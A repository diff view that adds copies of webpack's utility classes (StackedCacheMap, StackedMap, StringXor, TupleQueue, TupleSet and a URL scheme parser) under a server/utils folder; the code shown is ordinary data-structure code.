const result = this._cache.get(fn);
const data = /** @type {R} */ (result);
if (data !== undefined) {
return data;
}
}
const newData = fn(this);
this._cache.set(fn, newData);
return newData;
}
/**
* Get data from cache (ignoring sorting)
* @template R
* @param {function(SortableSet<T>): R} fn function to calculate value
* @returns {R} returns result of fn(this), cached until set changes
*/
getFromUnorderedCache(fn) {
if (this._cacheOrderIndependent === undefined) {
this._cacheOrderIndependent = new Map();
} else {
const result = this._cacheOrderIndependent.get(fn);
const data = /** @type {R} */ (result);
if (data !== undefined) {
return data;
}
}
const newData = fn(this);
this._cacheOrderIndependent.set(fn, newData);
return newData;
}
/**
* @private
* @returns {void}
*/
_invalidateCache() {
if (this._cache !== undefined) {
this._cache.clear();
}
}
/**
* @private
* @returns {void}
*/
_invalidateOrderedCache() {
if (this._cacheOrderIndependent !== undefined) {
this._cacheOrderIndependent.clear();
}
}
/**
* @returns {T[]} the raw array
*/
toJSON() {
return Array.from(this);
}
}
module.exports = SortableSet;

View File

@ -0,0 +1,140 @@
/*
MIT License http://www.opensource.org/licenses/mit-license.php
Author Tobias Koppers @sokra
*/
"use strict";
/**
* The StackedCacheMap is a data structure designed as an alternative to a Map
* in situations where you need to handle multiple item additions and
* frequently access the largest map.
*
* It is particularly optimized for efficiently adding multiple items
* at once, which can be achieved using the `addAll` method.
*
* It has a fallback Map that is used when the map to be added is mutable.
*
* Note: `delete` and `has` are not supported for performance reasons.
* @example
* ```js
* const map = new StackedCacheMap();
* map.addAll(new Map([["a", 1], ["b", 2]]), true);
* map.addAll(new Map([["c", 3], ["d", 4]]), true);
* map.get("a"); // 1
* map.get("d"); // 4
* for (const [key, value] of map) {
* console.log(key, value);
* }
* ```
* @template K
* @template V
*/
class StackedCacheMap {
constructor() {
/** @type {Map<K, V>} */
this.map = new Map();
/** @type {ReadonlyMap<K, V>[]} */
this.stack = [];
}
/**
* If `immutable` is true, the map can be referenced by the StackedCacheMap
* and should not be changed afterwards. If the map is mutable, all items
* are copied into a fallback Map.
* @param {ReadonlyMap<K, V>} map map to add
* @param {boolean=} immutable if 'map' is immutable and StackedCacheMap can keep referencing it
*/
addAll(map, immutable) {
if (immutable) {
this.stack.push(map);
// largest map should go first
for (let i = this.stack.length - 1; i > 0; i--) {
const beforeLast = this.stack[i - 1];
if (beforeLast.size >= map.size) break;
this.stack[i] = beforeLast;
this.stack[i - 1] = map;
}
} else {
for (const [key, value] of map) {
this.map.set(key, value);
}
}
}
/**
* @param {K} item the key of the element to add
* @param {V} value the value of the element to add
* @returns {void}
*/
set(item, value) {
this.map.set(item, value);
}
/**
* @param {K} item the item to delete
* @returns {void}
*/
delete(item) {
throw new Error("Items can't be deleted from a StackedCacheMap");
}
/**
* @param {K} item the item to test
* @returns {boolean} true if the item exists in this set
*/
has(item) {
throw new Error(
"Checking StackedCacheMap.has before reading is inefficient, use StackedCacheMap.get and check for undefined"
);
}
/**
* @param {K} item the key of the element to return
* @returns {V | undefined} the value of the element
*/
get(item) {
for (const map of this.stack) {
const value = map.get(item);
if (value !== undefined) return value;
}
return this.map.get(item);
}
clear() {
this.stack.length = 0;
this.map.clear();
}
/**
* @returns {number} size of the map
*/
get size() {
let size = this.map.size;
for (const map of this.stack) {
size += map.size;
}
return size;
}
/**
* @returns {Iterator<[K, V]>} iterator
*/
[Symbol.iterator]() {
const iterators = this.stack.map(map => map[Symbol.iterator]());
let current = this.map[Symbol.iterator]();
return {
next() {
let result = current.next();
while (result.done && iterators.length > 0) {
current = /** @type {IterableIterator<[K, V]>} */ (iterators.pop());
result = current.next();
}
return result;
}
};
}
}
module.exports = StackedCacheMap;

164
server/utils/StackedMap.js Normal file
View File

@ -0,0 +1,164 @@
/*
MIT License http://www.opensource.org/licenses/mit-license.php
Author Tobias Koppers @sokra
*/
"use strict";
const TOMBSTONE = Symbol("tombstone");
const UNDEFINED_MARKER = Symbol("undefined");
/**
* @template T
* @typedef {T | undefined} Cell<T>
*/
/**
* @template T
* @typedef {T | typeof TOMBSTONE | typeof UNDEFINED_MARKER} InternalCell<T>
*/
/**
* @template K
* @template V
* @param {[K, InternalCell<V>]} pair the internal cell
* @returns {[K, Cell<V>]} its safe representation
*/
const extractPair = pair => {
const key = pair[0];
const val = pair[1];
if (val === UNDEFINED_MARKER || val === TOMBSTONE) {
return [key, undefined];
}
return /** @type {[K, Cell<V>]} */ (pair);
};
/**
* @template K
* @template V
*/
class StackedMap {
/**
* @param {Map<K, InternalCell<V>>[]=} parentStack an optional parent
*/
constructor(parentStack) {
/** @type {Map<K, InternalCell<V>>} */
this.map = new Map();
/** @type {Map<K, InternalCell<V>>[]} */
this.stack = parentStack === undefined ? [] : parentStack.slice();
this.stack.push(this.map);
}
/**
* @param {K} item the key of the element to add
* @param {V} value the value of the element to add
* @returns {void}
*/
set(item, value) {
this.map.set(item, value === undefined ? UNDEFINED_MARKER : value);
}
/**
* @param {K} item the item to delete
* @returns {void}
*/
delete(item) {
if (this.stack.length > 1) {
this.map.set(item, TOMBSTONE);
} else {
this.map.delete(item);
}
}
/**
* @param {K} item the item to test
* @returns {boolean} true if the item exists in this set
*/
has(item) {
const topValue = this.map.get(item);
if (topValue !== undefined) {
return topValue !== TOMBSTONE;
}
if (this.stack.length > 1) {
for (let i = this.stack.length - 2; i >= 0; i--) {
const value = this.stack[i].get(item);
if (value !== undefined) {
this.map.set(item, value);
return value !== TOMBSTONE;
}
}
this.map.set(item, TOMBSTONE);
}
return false;
}
/**
* @param {K} item the key of the element to return
* @returns {Cell<V>} the value of the element
*/
get(item) {
const topValue = this.map.get(item);
if (topValue !== undefined) {
return topValue === TOMBSTONE || topValue === UNDEFINED_MARKER
? undefined
: topValue;
}
if (this.stack.length > 1) {
for (let i = this.stack.length - 2; i >= 0; i--) {
const value = this.stack[i].get(item);
if (value !== undefined) {
this.map.set(item, value);
return value === TOMBSTONE || value === UNDEFINED_MARKER
? undefined
: value;
}
}
this.map.set(item, TOMBSTONE);
}
}
_compress() {
if (this.stack.length === 1) return;
this.map = new Map();
for (const data of this.stack) {
for (const pair of data) {
if (pair[1] === TOMBSTONE) {
this.map.delete(pair[0]);
} else {
this.map.set(pair[0], pair[1]);
}
}
}
this.stack = [this.map];
}
asArray() {
this._compress();
return Array.from(this.map.keys());
}
asSet() {
this._compress();
return new Set(this.map.keys());
}
asPairArray() {
this._compress();
return Array.from(this.map.entries(), extractPair);
}
asMap() {
return new Map(this.asPairArray());
}
get size() {
this._compress();
return this.map.size;
}
createChild() {
return new StackedMap(this.stack);
}
}
module.exports = StackedMap;

101
server/utils/StringXor.js Normal file
View File

@ -0,0 +1,101 @@
/*
MIT License http://www.opensource.org/licenses/mit-license.php
Author Tobias Koppers @sokra
*/
"use strict";
/** @typedef {import("../util/Hash")} Hash */
/**
* StringXor class provides methods for performing
* [XOR operations](https://en.wikipedia.org/wiki/Exclusive_or) on strings. In this context
* we operating on the character codes of two strings, which are represented as
* [Buffer](https://nodejs.org/api/buffer.html) objects.
*
* We use [StringXor in webpack](https://github.com/webpack/webpack/commit/41a8e2ea483a544c4ccd3e6217bdfb80daffca39)
* to create a hash of the current state of the compilation. By XOR'ing the Module hashes, it
* doesn't matter if the Module hashes are sorted or not. This is useful because it allows us to avoid sorting the
* Module hashes.
* @example
* ```js
* const xor = new StringXor();
* xor.add('hello');
* xor.add('world');
* console.log(xor.toString());
* ```
* @example
* ```js
* const xor = new StringXor();
* xor.add('foo');
* xor.add('bar');
* const hash = createHash('sha256');
* hash.update(xor.toString());
* console.log(hash.digest('hex'));
* ```
*/
class StringXor {
constructor() {
/** @type {Buffer|undefined} */
this._value = undefined;
}
/**
* Adds a string to the current StringXor object.
* @param {string} str string
* @returns {void}
*/
add(str) {
const len = str.length;
const value = this._value;
if (value === undefined) {
/**
* We are choosing to use Buffer.allocUnsafe() because it is often faster than Buffer.alloc() because
* it allocates a new buffer of the specified size without initializing the memory.
*/
const newValue = (this._value = Buffer.allocUnsafe(len));
for (let i = 0; i < len; i++) {
newValue[i] = str.charCodeAt(i);
}
return;
}
const valueLen = value.length;
if (valueLen < len) {
const newValue = (this._value = Buffer.allocUnsafe(len));
let i;
for (i = 0; i < valueLen; i++) {
newValue[i] = value[i] ^ str.charCodeAt(i);
}
for (; i < len; i++) {
newValue[i] = str.charCodeAt(i);
}
} else {
for (let i = 0; i < len; i++) {
value[i] = value[i] ^ str.charCodeAt(i);
}
}
}
/**
* Returns a string that represents the current state of the StringXor object. We chose to use "latin1" encoding
* here because "latin1" encoding is a single-byte encoding that can represent all characters in the
* [ISO-8859-1 character set](https://en.wikipedia.org/wiki/ISO/IEC_8859-1). This is useful when working
* with binary data that needs to be represented as a string.
* @returns {string} Returns a string that represents the current state of the StringXor object.
*/
toString() {
const value = this._value;
return value === undefined ? "" : value.toString("latin1");
}
/**
* Updates the hash with the current state of the StringXor object.
* @param {Hash} hash Hash instance
*/
updateHash(hash) {
const value = this._value;
if (value !== undefined) hash.update(value);
}
}
module.exports = StringXor;

View File

@ -0,0 +1,67 @@
/*
MIT License http://www.opensource.org/licenses/mit-license.php
Author Tobias Koppers @sokra
*/
"use strict";
const TupleSet = require("./TupleSet");
/**
* @template {any[]} T
*/
class TupleQueue {
/**
* @param {Iterable<T>=} items The initial elements.
*/
constructor(items) {
/**
* @private
* @type {TupleSet<T>}
*/
this._set = new TupleSet(items);
/**
* @private
* @type {Iterator<T>}
*/
this._iterator = this._set[Symbol.iterator]();
}
/**
* Returns the number of elements in this queue.
* @returns {number} The number of elements in this queue.
*/
get length() {
return this._set.size;
}
/**
* Appends the specified element to this queue.
* @param {T} item The element to add.
* @returns {void}
*/
enqueue(...item) {
this._set.add(...item);
}
/**
* Retrieves and removes the head of this queue.
* @returns {T | undefined} The head of the queue of `undefined` if this queue is empty.
*/
dequeue() {
const result = this._iterator.next();
if (result.done) {
if (this._set.size > 0) {
this._iterator = this._set[Symbol.iterator]();
const value = this._iterator.next().value;
this._set.delete(...value);
return value;
}
return;
}
this._set.delete(...result.value);
return result.value;
}
}
module.exports = TupleQueue;

160
server/utils/TupleSet.js Normal file
View File

@ -0,0 +1,160 @@
/*
MIT License http://www.opensource.org/licenses/mit-license.php
Author Tobias Koppers @sokra
*/
"use strict";
/**
* @template {any[]} T
*/
class TupleSet {
/**
* @param {Iterable<T>=} init init
*/
constructor(init) {
/** @type {Map<T, TODO>} */
this._map = new Map();
this.size = 0;
if (init) {
for (const tuple of init) {
this.add(...tuple);
}
}
}
/**
* @param {T} args tuple
* @returns {void}
*/
add(...args) {
let map = this._map;
for (let i = 0; i < args.length - 2; i++) {
const arg = args[i];
const innerMap = map.get(arg);
if (innerMap === undefined) {
map.set(arg, (map = new Map()));
} else {
map = innerMap;
}
}
const beforeLast = args[args.length - 2];
let set = map.get(beforeLast);
if (set === undefined) {
map.set(beforeLast, (set = new Set()));
}
const last = args[args.length - 1];
this.size -= set.size;
set.add(last);
this.size += set.size;
}
/**
* @param {T} args tuple
* @returns {boolean} true, if the tuple is in the Set
*/
has(...args) {
let map = this._map;
for (let i = 0; i < args.length - 2; i++) {
const arg = args[i];
map = map.get(arg);
if (map === undefined) {
return false;
}
}
const beforeLast = args[args.length - 2];
const set = map.get(beforeLast);
if (set === undefined) {
return false;
}
const last = args[args.length - 1];
return set.has(last);
}
/**
* @param {T} args tuple
* @returns {void}
*/
delete(...args) {
let map = this._map;
for (let i = 0; i < args.length - 2; i++) {
const arg = args[i];
map = map.get(arg);
if (map === undefined) {
return;
}
}
const beforeLast = args[args.length - 2];
const set = map.get(beforeLast);
if (set === undefined) {
return;
}
const last = args[args.length - 1];
this.size -= set.size;
set.delete(last);
this.size += set.size;
}
/**
* @returns {Iterator<T>} iterator
*/
[Symbol.iterator]() {
/** @type {TODO[]} */
const iteratorStack = [];
/** @type {T[]} */
const tuple = [];
/** @type {Iterator<T> | undefined} */
let currentSetIterator;
/**
* @param {TODO} it iterator
* @returns {boolean} result
*/
const next = it => {
const result = it.next();
if (result.done) {
if (iteratorStack.length === 0) return false;
tuple.pop();
return next(iteratorStack.pop());
}
const [key, value] = result.value;
iteratorStack.push(it);
tuple.push(key);
if (value instanceof Set) {
currentSetIterator = value[Symbol.iterator]();
return true;
}
return next(value[Symbol.iterator]());
};
next(this._map[Symbol.iterator]());
return {
next() {
while (currentSetIterator) {
const result = currentSetIterator.next();
if (result.done) {
tuple.pop();
if (!next(iteratorStack.pop())) {
currentSetIterator = undefined;
}
} else {
return {
done: false,
value: /** @type {T} */ (tuple.concat(result.value))
};
}
}
return { done: true, value: undefined };
}
};
}
}
module.exports = TupleSet;

View File

@ -0,0 +1,87 @@
/*
MIT License http://www.opensource.org/licenses/mit-license.php
Author Ivan Kopeykin @vankop
*/
"use strict";
/** @typedef {import("./fs").InputFileSystem} InputFileSystem */
/** @typedef {(error: Error|null, result?: Buffer) => void} ErrorFirstCallback */
const backSlashCharCode = "\\".charCodeAt(0);
const slashCharCode = "/".charCodeAt(0);
const aLowerCaseCharCode = "a".charCodeAt(0);
const zLowerCaseCharCode = "z".charCodeAt(0);
const aUpperCaseCharCode = "A".charCodeAt(0);
const zUpperCaseCharCode = "Z".charCodeAt(0);
const _0CharCode = "0".charCodeAt(0);
const _9CharCode = "9".charCodeAt(0);
const plusCharCode = "+".charCodeAt(0);
const hyphenCharCode = "-".charCodeAt(0);
const colonCharCode = ":".charCodeAt(0);
const hashCharCode = "#".charCodeAt(0);
const queryCharCode = "?".charCodeAt(0);
/**
* Get scheme if specifier is an absolute URL specifier
* e.g. Absolute specifiers like 'file:///user/webpack/index.js'
* https://tools.ietf.org/html/rfc3986#section-3.1
* @param {string} specifier specifier
* @returns {string|undefined} scheme if absolute URL specifier provided
*/
function getScheme(specifier) {
const start = specifier.charCodeAt(0);
// First char maybe only a letter
if (
(start < aLowerCaseCharCode || start > zLowerCaseCharCode) &&
(start < aUpperCaseCharCode || start > zUpperCaseCharCode)
) {
return;
}
let i = 1;
let ch = specifier.charCodeAt(i);
while (
(ch >= aLowerCaseCharCode && ch <= zLowerCaseCharCode) ||
(ch >= aUpperCaseCharCode && ch <= zUpperCaseCharCode) ||
(ch >= _0CharCode && ch <= _9CharCode) ||
ch === plusCharCode ||
ch === hyphenCharCode
) {
if (++i === specifier.length) return;
ch = specifier.charCodeAt(i);
}
// Scheme must end with colon
if (ch !== colonCharCode) return;
// Check for Windows absolute path
// https://url.spec.whatwg.org/#url-miscellaneous
if (i === 1) {
const nextChar = i + 1 < specifier.length ? specifier.charCodeAt(i + 1) : 0;
if (
nextChar === 0 ||
nextChar === backSlashCharCode ||
nextChar === slashCharCode ||
nextChar === hashCharCode ||
nextChar === queryCharCode
) {
return;
}
}
return specifier.slice(0, i).toLowerCase();
}
/**
* @param {string} specifier specifier
* @returns {string | null | undefined} protocol if absolute URL specifier provided
*/
function getProtocol(specifier) {
const scheme = getScheme(specifier);
return scheme === undefined ? undefined : `${scheme}:`;
}
module.exports.getScheme = getScheme;
module.exports.getProtocol = getProtocol;

Some files were not shown because too many files have changed in this diff Show More